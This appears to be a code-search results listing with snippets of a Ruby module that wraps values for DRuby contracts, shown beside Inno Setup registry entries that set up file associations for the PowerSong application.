264 report the number of characters matched (using <tt>match.length()</tt>).
wrap.rb
(git://github.com/adamdoupe/find_ear_rails.git)
Ruby · 256 lines
✨ Summary
This Ruby code defines a module called DRuby::Contract
that provides a way to wrap immediate values (like integers and symbols) in a class called Box
. The Wrap
module is used to wrap objects, including immediate values, with metadata about their context. This allows for custom behavior when comparing or coercing these wrapped values.
This Ruby code defines a module called DRuby::Contract
that provides a way to wrap immediate values (like integers and symbols) in a class called Box
. The Wrap
module is used to wrap objects, including immediate values, with metadata about their context. This allows for custom behavior when comparing or coercing these wrapped values.
46 meths.each do |m|
47 new_m = "def #{m}(*args,&blk) @val.send(#{m.inspect},*args,&blk) end"
48 if Box.respond_to? :__druby_class_eval
49 Box.__druby_class_eval new_m
50 else
51 Box.class_eval new_m
52 end
53 end
69 return nil unless blk
70 proc do |*args|
71 res = blk.call(*args.map {|a| DRuby::Safe_eval::Wrap.wrap_with_ctx(ctx,a)})
72 next wrap_with_ctx(ctx,res)
73 end
94 # I'm not fully aware of the consequences of doing so
95 #
96 orig_methods = x.methods - ["send","__send__","__id__", "class_eval"]
97 meta.const_set(:DRuby_Wrapped, orig_methods)
98 meta.const_set(:DRuby_ctx, ctx)
Setup Script.iss (https://hg01.codeplex.com/powersong) text · 0 lines
49 [Registry]
50 ; Export archives
51 Root: HKCR; Subkey: ".PowerSong"; ValueType: string; ValueName: ""; ValueData: "PowerSongExportFile"; Flags: uninsdeletevalue
52 Root: HKCR; Subkey: "PowerSongExportFile"; ValueType: string; ValueName: ""; ValueData: "PowerSong Export File"; Flags: uninsdeletekey
53 Root: HKCR; Subkey: "PowerSongExportFile\DefaultIcon"; ValueType: string; ValueName: ""; ValueData: "{app}\PowerSong.exe,0"
56 ; Play lists
57 Root: HKCR; Subkey: ".PlayList"; ValueType: string; ValueName: ""; ValueData: "PowerSongPlayList"; Flags: uninsdeletevalue
58 Root: HKCR; Subkey: "PowerSongPlayList"; ValueType: string; ValueName: ""; ValueData: "PowerSong Play List"; Flags: uninsdeletekey
59 Root: HKCR; Subkey: "PowerSongPlayList\DefaultIcon"; ValueType: string; ValueName: ""; ValueData: "{app}\PowerSong.exe,0"
62 ; Database links
63 Root: HKCR; Subkey: ".PSDB"; ValueType: string; ValueName: ""; ValueData: "PowerSongDatabaseLink"; Flags: uninsdeletevalue
64 Root: HKCR; Subkey: "PowerSongDatabaseLink"; ValueType: string; ValueName: ""; ValueData: "Link to a PowerSong Database"; Flags: uninsdeletekey
65 Root: HKCR; Subkey: "PowerSongDatabaseLink\DefaultIcon"; ValueType: string; ValueName: ""; ValueData: "{app}\PowerSong.exe,0"